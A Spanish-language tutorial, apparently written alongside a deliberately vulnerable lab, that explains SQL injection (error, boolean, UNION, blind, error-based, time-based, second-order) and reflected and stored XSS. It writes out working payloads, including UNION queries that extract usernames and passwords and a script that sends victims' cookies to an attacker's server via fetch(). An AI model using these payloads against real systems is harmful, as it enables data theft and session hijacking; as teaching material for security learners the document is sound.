INYECCIÓN SQL (SQLI)
Las inyecciones SQL son una de las vulnerabilidades más conocidas y
peligrosas
que pueden darse en aplicaciones web.
Esta vulnerabilidad se causa debido a una mala sanitización de inputs
introducidos por un usuario, haciendo que la aplicación interprete este input como parte del
código en lugar de como texto plano.
Potencialmente, las inyecciones pueden permitir a un agente de amenazas leer
tablas a
las que no debería tener acceso, pudiendo acceder a datos confidenciales como contraseñas,
datos financieros, datos de clientes, datos médicos, etc.
Puede interferir con el comportamiento normal de la máquina,
permitiendo, por
ejemplo saltarse la autenticación de una aplicación vulnerable.
También, podrá escribir y leer archivos en el sistema, pudiendo
potencialmente obtener control sobre este al introducir y ejecutar un archivo malicioso a la
máquina.
A continuación, explicaré los numerosos tipos de inyecciones
SQL,
sus
causas, sus posibles soluciones, además, mediante el laboratorio DVSQLA podrá experimentar
de
forma práctica todos sus tipos y los efectos de las posibles soluciones.
Vale la pena destacar que DVDBA es un laboratorio web vulnerable que
estaré
desarrollando en paralelo con este proyecto y en el que se ejemplifica todo lo explicado en este
documento.
Asimismo, esta aplicación ofrece una instalación rápida
y
sencilla desde github para que cualquiera pueda realizar las pruebas que realizará durante este
documento en un entorno seguro y controlado.

Su explotación es realmente sencilla, simplemente tienes que continuar
el
código, para que este se comporte como quieres.
Una vez introduzcas la inyección, debido a que la aplicación no
es
capaz de sanitizar la entrada, lo interpretará como parte de la consulta y lo
ejecutará
Causa de la vulnerabilidad
La causa de el SQL Injection, y en general de todas las vulnerabilidades
inyection
como XSS Injection, XML Injection, e incluso Prompt Injection, se produce debido a una falla en la
validación de los datos introducidos por un usuario, produciendo que estos no se interpreten en
el
servidor como texto plano, sino como código.
En el caso específico de el SQL Injection, la causa más
común es
introducir los datos directamente en la consulta, sin pasar por una función que valide y procese
los
datos para la consulta SQL como bindParam en el caso de PHP.

En el código anterior podemos ver claramente el problema, los datos
entregados
por el usuario se introducen directamente en el código.
Esto produce que la aplicación interprete el input que le hayamos
introducido
como código.
Esta es la forma más común y destructiva de producir una SQLI, pero ojo,
por
que
no es la única.
Identificación de la vulnerabilidad
Al igual que una persona enferma, una aplicación vulnerable nos
dará
pistas y señales que nos alertan acerca de una posible vulnerabilidad sin necesidad
necesariamente
de
realizar una explotación.
En el caso específico de una vulnerabilidad SQLI, toda la enfermedad
se
produce debido a una validación incorrecta de los datos introducidos por un usuario y esto lleva
a
que interprete ciertas sentencias como código y los ejecute.
Por eso mismo, hay ciertas entradas que podremos usar para detectar una
posible
vulnerabilidad SQLI sin necesidad de ejecutar una intrusión:
Esto supondría que, por ejemplo, un formulario vulnerable a SQLI será
incapaz
de procesar el carácter ‘.
Si bien en un entorno local devuelve los errores completos, normalmente, esta
situación supondría un Internal Server Error.
Hagamos una prueba:

Aquí podemos ver una página de login completamente normal,
y
la
consulta que se estará ejecutando, así que ahora, introduciré mi nombre, que, por
alguna razón, incluye el carácter ‘.


Fatal error, primer síntoma.
En el exterior de la red local este se verá como un Internal
Server
Error.

Viendo la consulta podemos ver claramente lo que ha ocurrido, esa comilla
ha
dejado texto plano fuera del campo, lo cual es incapaz de interpretar y, por lo tanto, causa un error,
esto
deja en claro que, la entrada, no está siendo sanitizada, y por lo tanto, podremos inyectar
código.
Otro síntoma lo encontramos a la hora de introducir datos booleanos al
formulario,
como, por ejemplo, 1=1 o 1=2.
Pues, una vez que reciba esa carga, interpretará el booleano, y
esto
afectará al comportamiento de la página.
Un ejemplo de esto, es la archiconocida inyección ‘ OR 1=1--
-,
veamos un ejemplo:

Aqui tenemos el buscador de una tienda, al buscar algo, por ejemplo,
sillas,
realiza la consulta, y busca las sillas.

Sin embargo, ¿qué ocurriría si introduzco un valor
booleano?

Como podemos leer en la consulta, ahora se busca una condición,
pero
además, hemos añadido en un or un valor booleano true, que siempre se cumple, por lo
tanto:

La página nos devolverá TODAS las entradas en la base de
datos, en
este caso, todos los productos.
Existen ciertas cargas que son capaces de, en caso de que la
página
sea
vulnerable, son capaces de provocar un retraso bien definido en la respuesta del servidor.
Un ejemplo de esto es, por ejemplo, ' AND
SLEEP(5)--

Aquí podemos ver claramente cuál será el resultado para la
consulta, se
añadirá, además de lo que ya le hayamos indicado, un tiempo de espera de 10
segundos,
por lo tanto, podremos claramente diferenciar si la aplicación está ejecutando el
código que le pasemos de una forma no intrusiva.
Impacto
El impacto de una Inyección sql una vez ejecutado el ataque
dependerá,
principalmente, de las prácticas de permisos que se hayan llevado a cabo durante la
creación
de la base de datos, pudiendo esta buena práctica prevenir que el daño se extienda de ser
una
filtración menor a una intrusión total en el sistema, pudiendo un atacante,
potencialmente:
- Exfiltrar datos que no deberían ser accesibles
para
los usuarios comunes, como hashes de contraseñas, nombres de usuario, información
bancaria, información médica, etc.
- SQL es capaz de leer ficheros del sistema, pudiendo
filtrarse información que no necesariamente esté en la base de datos, como
información del sistema, código fuente de páginas web, datos personales,
etc.
- SQL es capaz de escribir ficheros, pudiendo un
atacante
malintencionado descargar y, potencialmente, ejecutar malware en el servidor, más adelante se
dará un ejemplo de esto.
En resumen, el impacto de una posible inyección no solo se ve limitado a una
exfiltración de la base de datos, algo que ya de por sí es lo suficientemente grave, sino
que
además, fácilmente puede escalar a algo incluso más grave.
Técnicas y formas de explotación
Dependiendo de cómo se haya formado la consulta vulnerable o como
reciba
o
devuelva los datos la página web, deberemos aplicar unas técnicas u otras y tendremos un
abanico de posibilidades u otro, pudiendo desde leer datos que no deberíamos poder leer, hasta
modificar entradas en la base de datos e incluso leer y escribir en ficheros locales.
A continuación, explicaré las diferentes técnicas y formas en las
que
se
puede explotar esta vulnerabilidad en diferentes situaciones.
Exfiltrar datos ocultos dentro de la tabla
Este es uno de los mayores peligros de las inyecciones SQL, esta
situación
suele darse debido a una vulnerabilidad en la cláusula WHERE, como en el siguiente
ejemplo:

Esta situación permitirá a un agente de amenazas obtener datos
de
una
consulta que no debería de poder ver, por ejemplo:

Aquí nos encontramos en una tienda que tiene un sistema de buscador, y
al
analizar la consulta que se está utilizando, podemos sacar las siguientes conclusiones:
- Selecciona las columnas id, nombre, precio y
descripción.
- De la tabla Store
- Donde el nombre contenga el input entregado por el
usuario.
- Y el status sea 1
Según esta consulta, jamás deberíamos de ver datos de un
producto cuyo estado no sea 1.

Al realizar una búsqueda simple, en este caso, buscando la palabra monitor,
podemos
ver
que nos devuelve dos productos, y en ambos, el valor de status es 1.
Ahora, supongamos que somos unos atacantes que quieren ver los productos que
no
están disponibles, para ello, en este caso específico, puedo realizar la
exfiltración
comentando la entrada de status = ‘1’ con el siguiente input:

Esta inyección es relativamente sencilla, simplemente estoy
introduciendo lo
que quiero buscar, en este caso, monitor, completo la consulta y comento lo que va después de
ella.

Este es el resultado, al realizar esta búsqueda, encontramos un
monitor
con
status 0, un dato al que no deberíamos de poder ver.

Viendo la consulta, podemos ver claramente lo que está pasando, hemos
comentado toda la entrada que incluía la condición de status, por lo tanto, esta
condición no se aplica, y podemos ver datos a los que no deberíamos de tener
acceso.
Otra forma de obtener datos seria incluyendo condiciones que no
deberían
incluirse, como por ejemplo, el archiconocido ‘ OR 1=1 -- -


Podemos ver que ahora, se nos han devuelto absolutamente todos los datos de
la
base
de datos, independientemente de su status, es decir, dentro de estos resultados esta absolutamente todo,
incluyendo los datos confidenciales a los que no tenemos acceso.

Observando detenidamente la consulta podemos ver el por qué.
En la cláusula WHERE, se da la siguiente secuencia.
- Quiero todos los datos donde el nombre se parezca a
%
- O, donde 1=1 (true)
En este caso, la condición que se aplica es el booleano 1=1, que
siempre
se
cumple, y por lo tanto, nos lo dará todo.
Exfiltrar datos de otras tablas (UNION)
UNION es una palabra clave de SQL que permite unir dos consultas uniendo los
resultados de la segunda consulta a los resultados de la primera columna, veamos un ejemplo de su
funcionamiento fuera de la explotación de vulnerabilidades.

Ahora, que ocurrirá aqui, simple, en la misma tabla resultante se
unirán los datos de la segunda consulta como si fueran parte de la primera columna.

Esto, normalmente, sirve para añadir más tablas a una
aplicación
sin necesidad de hacer muchas modificaciones en la aplicación, pero en el contexto de las
inyecciones
SQL, nos sirve para acceder a datos que no deberíamos de poder ver y que están en otras
tablas, por ejemplo:

De nuevo en la página de la tienda, viendo la consulta, podemos ver
que
la
consulta devuelve 5 columnas, por lo tanto, la segunda consulta, tendrá también que tener
5
columnas.
Como curiosidad, en una situación en la que no conocemos el
número de
columnas, que es la situación que tendremos en la mayoría de pruebas de
penetración,
podemos averiguarlo usando la sentencia order by, pues, si introduces un número de columna que no
se
encuentra en el select, dará error:

Jugando con eso, podremos llegar al numero exacto de columnas que posee la
consulta.

Bien, ahora, en este ejemplo, queremos obtener algo jugoso, por ejemplo, usuarios y sus
respectivas contraseñas, pero, evidentemente, no conocemos ni la tabla en la que se encuentra, ni
las
columnas de esta tabla, bien, eso es algo que tambien podemos solucionar con UNION, ya que nos permite
leer
las tablas del sistema, incluyendo information.schema en el caso específico de mysql, por lo tanto, vamos a construir una sentencia
con
la
cual podamos ver las tablas que hay en el sistema.
En este caso, solo buscamos la información de la columna TABLE_NAME, por lo
tanto,
la
inyección que debemos de lanzar es la siguiente: ' UNION SELECT 1,
table_name, 2, 3, 4 FROM information_schema.tables -- -
Aquí se da una situación curiosa, solo necesito los datos de
una
columna, pero necesito poner si o si 5 columnas, así que, esas columnas las completo con
números enteros, así completar la tabla y habrá pocas posibilidades de un conflicto
en
cuanto a los valores.

Y aquí tenemos las diferentes tablas, en este caso, la que buscamos es usuarios,
pero de
nuevo, no conocemos sus columnas, asi que, usaremos la tabla information_schema.colums para averiguarlo,
usare la siguiente inyección: ' UNION SELECT 1, column_name, 2, 3, 4
FROM
information_schema.columns WHERE table_name = “usuarios” -- -
Esta vez, añadí un WHERE para que solo me de columnas de la
tabla
usuarios.

Y aqui las tenemos, las tres columnas de la tabla usuarios, asi que, vamos a
obtener
los datos de los usuarios, de nuevo, usando UNION para obtener tanto los usuarios como las
contraseñas de estos.

Y con esto, la base de datos nos devuelve todos los nombres de usuario y
todas
las
contraseñas.
Cabe destacar que esta es tan solo una de las muchas posibilidades de la
sentencia
UNION, algunas más de estas, como la lectura y escritura de ficheros locales y su uso en la
inyección basada en errores serán exploradas más adelante.
Subvertir la lógica de la
aplicación
Existen muchas ocasiones en las que el propio funcionamiento de una
aplicación
puede ser usado en su contra en caso de una vulnerabilidad como la inyección SQL, permitiendo a
un
atacante realizar acciones que no deberían ser posibles.
Esto es bastante subjetivo, y depende totalmente del funcionamiento de la
aplicación que vallamos a explotar, asi que veamos un ejemplo:

Aquí tenemos una página de login, esta página usa una
consulta
vulnerable que busca una entrada que coincida tanto con el usuario como con la contraseña, en
caso
de
que obtenga algo de eso, permitirá la entrada al usuario en cuestión.
Sin embargo, hacemos algo tan sencillo como añadir un comentario justo
después del usuario.

Como podemos ver, nos ha dejado entrar sin ningún problema,
¿por
qué ocurrió esto? bueno.

Al analizar la consulta podemos ver que, el comentario ha eliminado la
condición de que la contraseña debe de coincidir con la almacenada en la base de datos,
por
lo
tanto, ahora, la única condición, es que el nombre de usuario sea correcto, y
permitirá
el login.
Esto es tan solo un ejemplo, pues dependiendo de la aplicación y su naturaleza,
se
podrán usar unas u otras técnicas, todo dependerá de la creatividad del
atacante.
Inyección ciega
Esto ocurre cuando la aplicación no devuelve datos al usuario,
haciendo
necesarias otras técnicas para poder explotar la vulnerabilidad:
Desatando respuestas condicionales
Esto se puede hacer en casos en los que, si bien no se devuelven datos
directamente,
la página actúa de forma distinta en función de la respuesta de la base de datos,
aqui
un ejemplo:

Esta página recibirá una flag, y lo comparara en la base de
datos
usando una consulta vulnerable, y, si la flag está en la base, dará una respuesta
indicando
que la flag es válida, si no, dará otra indicando que la flag no es válida.
Con esto, podremos jugar y obtener información útil de la base
de
datos.

Al añadir la inyección AND 1=1 -- - nos da la flag por
válida,
pero

Al añadir una condición falsa nos da una respuesta negativa,
esto
es
algo con lo que podremos jugar para obtener información de la base de datos, vamos a ver un
ejemplo
divertido de explotación.
Mi objetivo es, mediante esta condición, extraer datos acerca de las
contraseñas de los usuarios.
Para ello, usaré una sentencia que devolverá TRUE en caso de
que
el
carácter introducido coincidan, y así, poder extraer información caracter por
caracter

Ahora, crearé un script de python básico que extraiga la
contraseña mediante fuerza bruta letra por letra, método extremadamente más
rápido que un ataque de fuerza bruta convencional.

Este script, en resumen, usa una lista de caracteres para, mediante fuerza
bruta,
obtener una contraseña caracter por caracter.

Este método, a diferencia de la fuerza bruta convencional, es
extremadamente
rápido, pudiendo obtener en segundos contraseñas independientemente de lo seguras que
sean.


En este caso, fueron 12 segundos.
Esto no se ve limitado a contraseñas, en resumen, mediante fuerza
bruta, se
pueden exfiltrar todos los datos deseados de cualquier tabla.
Basado en errores
Esto suele ser necesario cuando la página no devuelve ningún
tipo de
respuesta al usuario, ni siquiera una condicional, por lo tanto, deberemos de usar otros caminos.
Cuando hablamos de una inyección basada en errores, hablamos de una
situación en la que un atacante puede provocar errores en la página vulnerable para
obtener
información de esta, pueden ocurrir dos situaciones en este contexto.
Visuales
Los errores son visibles en la página.

En este caso, provoque un error simplemente introduciendo un ‘, y como
podemos
ver, esta página, que no da ninguna respuesta en caso de haber introducido correctamente o no la
flag, devolverá el error completo en un mensaje.
Y, ciertos mensajes de error pueden devolver datos completos, veámoslo
mejor
con un ejemplo concreto:

Esta sentencia, ya inyectada, utiliza la función xml EXTRACTVALUE para
intentar extraer ciertos datos de una ruta específica, esa ruta, será el dato que queremos
extraer, el error nos indicará que la ruta x no existe, y esta ruta x, será la entrada que
queremos exfiltrar.

Como podemos ver, el mensaje nos devuelve la contraseña que buscamos
donde
normalmente hay una ruta de un archivo que no existe.
Condicionales
Los errores NO son visibles.
Esto implica que no podemos obtener información de los mensajes de
error, lo
único que podemos saber es si se está o no produciendo un error.
Con esto podemos jugar, construyendo una consulta que, por ejemplo, en caso
de
que la
condición que le indiquemos se cumpla, divida entre cero, y por lo tanto, produzca un error,
veamos
un ejemplo sencillo antes de pasar a la explotación.

Esta sentencia, ya inyectada, comprobará, usando un if, una
condición,
en este caso la condición no se cumple, por lo tanto, no salta error.

Por el contrario, en caso de que la condición si se cumpla, intentara
dividir
entre cero y, por lo tanto, saltara un error.

Bien, ahora, usaremos el mismo concepto en la explotación de una
respuesta
condicional, modificaremos la condición para que nos dé una respuesta que nos dé
información acerca de los datos dentro de la base de datos, por ejemplo.

En esta consulta se puede ver que, en caso de que la letra que buscamos sea
la
misma
que se encuentra en esa posición exacta de la base de datos, se producirá un error, ya que
se
dividirá entre cero, si no, no se producirá ningún error.
Es la misma consulta que usamos con las respuestas condicionales
añadida
como
condición a nuestro IF, veamos como funciona.
No se cumple la condición:

Se cumple la condición:

Y, al igual que antes, con un simple script en python de fuerza bruta,
podemos
exfiltrar los datos deseados de la base de datos en segundos.

El funcionamiento es el mismo que antes, solo que ahora, en vez de detectar
una
respuesta específica, detecta el error.

Basado en tiempo
Ahora, estamos en una situación aún peor para el atacante, una
situación en la que, si bien es capaz de inyectar código, no recibe ningún tipo de
respuesta, ni siquiera los errores, por lo tanto, en este escenario, nuestra única opción,
es
inyectar sentencias que produzcan retrasos perceptibles en la respuesta.

Como podemos comprobar, incluso al provocar un error, no se ha emitido
ningún
mensaje visible en la página.
Por lo tanto, la única forma de notar una diferencia sería
provocar un
delay temporal.

La sentencia que aprovechamos será SLEEP, el cual produce un delay en
mysql
que nos permitirá comprobar si las condiciones que estamos emitiendo son correctas.

Esta sería la sentencia condicional que podremos usar, y la que
usaremos
como
base para el script.

La diferencia de este script respecto a los anteriores es que en lugar de
comparar la
respuesta, compara el tiempo de la respuesta para hallar los input correctos.

Es mucho más tardado que los métodos anteriores, sin embargo,
es
infinitamente más rápido que la fuerza bruta tradicional.
Inyección de segundo orden
La situación es la siguiente, la aplicación nos permite
almacenar
datos
en la base de datos, un usuario, una publicación en una tienda, etc, esta consulta esta bien, no
tiene ninguna vulnerabilidad explotable, sin embargo, no filtra los datos que se almacenan, y por lo
tanto,
podría inyectar código que, si bien no será interpretado por la consulta, luego si
lo
interpretara otra parte de la aplicación, pongamos un ejemplo:

Aquí podemos ver un formulario que nos permite insertar una entrada a
la
base
de datos.

Como se puede comprobar en el código, esta consulta es segura, no
presenta una
vulnerabilidad SQLI.
Sin embargo, este formulario nos permite introducir datos a la base de datos
que,
más tarde, servirán para realizar otra consulta.

Y esta consulta SI es vulnerable.

Por lo tanto, para explotarla, deberemos introducir código a la base
de
datos
que, más tarde, será extraído y se usará en la otra query y, por lo tanto,
podemos explotarlo.

En este caso, desde el formulario, introduje un payload que me
permitirá
obtener el nombre y la contraseña de un usuario.

Al revisar la consulta podemos ver claramente que ha ocurrido, la consulta
que
utiliza los datos almacenados era vulnerable, y una vez llama a esos datos, los ejecuta como
código,
y con esto, podemos realizar las inyecciones deseadas.
Este método, además, es muy común en vulnerabilidades
XSS,
cosa
que veremos en el siguiente capítulo de este documento.
CROSS SITE SCRIPTING (XSS)
XSS es una vulnerabilidad que permite a un atacante ejecutar un script,
normalmente
javascript, en el equipo de otro cliente del equipo.

Esta vulnerabilidad suele producirse debido a que no filtra los caracteres
especiales
en los mensajes de los usuarios y permite a un atacante introducir scripts de java que, luego, cuando la
página sea ejecutada por un usuario, se ejecutarán.
Identificación de la vulnerabilidad
El método más usado para detectar esta vulnerabilidad es
realizar
una
inyección con la función alert(), que nos dará una señal muy visible de que
se
ha ejecutado y, al mismo tiempo, no causa ningún tipo de daño.

Aquí podemos ver el mensaje, si la página es vulnerable, no
filtra los
caracteres especiales e imprimirá la sección script como parte del html, y, por lo tanto,
saltará un aviso con el mensaje indicado.

Al acceder a la página de mensajes, antes incluso de que cargue, se
ejecuta el
código y salta la alerta.

Además, podemos ver que el código inyectado no es visible para
el
usuario a menos que vea el código.

En el cual, podemos ver claramente lo que explicamos antes, el código
php no
usa htmlspecialchars() para filtrar los caracteres especiales de html y este interpreta el script como
parte
del código, y, en consecuencia, lo ejecuta en el cliente.
Técnicas formas de
explotación
XSS Reflejado
El XSS reflejado se produce cuando una aplicacion no puede filtrar bien los
inputs
dados por el usuario, permitiendo a este ejecutar js, pero es incapaz de almacenarlo, veamos un ejemplo
de
su explotacion:

En esta pagina encontramos un buscador simple en una tienda, al buscar,
podemos
ver
que la pagina imprime lo que has buscado.

Inyectando un script simple, usando la funcion alert() de js, podremos
comprobar si
es vulnerable.

Al iniciar la busqueda, podremos comprobar que el codigo se ejecuto sin lugar
a
dudas, y por lo tanto, con esto, ya hemos comprobado que la pagina es vulnerable.

Ya sabiendo esto, prepararemos un payload que nos pueda ser util desde la
perspectiva
de un atacante.
<script> fetch('http://localhost:8000/' + document.cookie, {
method:
'GET'}); </script>
El anterior payload almacenara una cookie de quien la ejecute y la enviara a
un
servidor http indicado en la url.
º

Como podemos ver, una vez inyectado, cualquiera que acceda a esta URL, dado
que
la
inyección se introduce en la url, enviará su cookie FLAG al atacante.

Como podemos ver, el atacante en este caso recibió la flag del usuario
víctima, que se almacena a modo de cookie.
Si la pagina funcionara con POST en lugar de con GET, deberíamos de
cambiar el
método e introducir la cookie en el cuerpo en lugar de en la URL.
Ahora, dado que esta vulnerabilidad es reflejada, como atacantes, deberemos
de
arreglarnos para que la víctima acceda a esa url maliciosa, de lo contrario, el ataque no
tendrá efecto alguno.

XSS Almacenado
Ahora, la situación es mucho más sencilla para el atacante,
pues
el
payload se almacena en el servidor, haciendo que no sea necesario redirigir a una posible víctima
a
una página inyectada, como en el anterior, sino que bastará con simplemente almacenar el
payload y esperar a que la víctima caiga en la trampa.

Ahora, lo que encontramos aquí es una tipica pagina de soporte la
cual,
nos
permite enviar un mensaje a un administrador, sin embargo, de nuevo, no usa htmlspecialchars para filtrar los contenidos, haciendo que podamos
inyectar codigo.

Ahora, enviare un mensaje con el payload.

El administrador, al revisar sus mensajes, solo encontrará un mensaje
normal.

Pero de fondo, el script se está ejecutando.

Y he recibido la cookie en mi servidor http.
Bibliografía
PortSwinger
SQLInjection
PortSwinger
Cross
Site Scripting
OWASP
SQLInjetion
OWASP Cross
Site Scripting
Radware
SQLInjection
Halfond,
W. G. J., Viegas, J., & Orso, A. (2006). A classification of SQL-injection attacks and
countermeasures. Proceedings
of the IEEE International Symposium on Secure Software Engineering.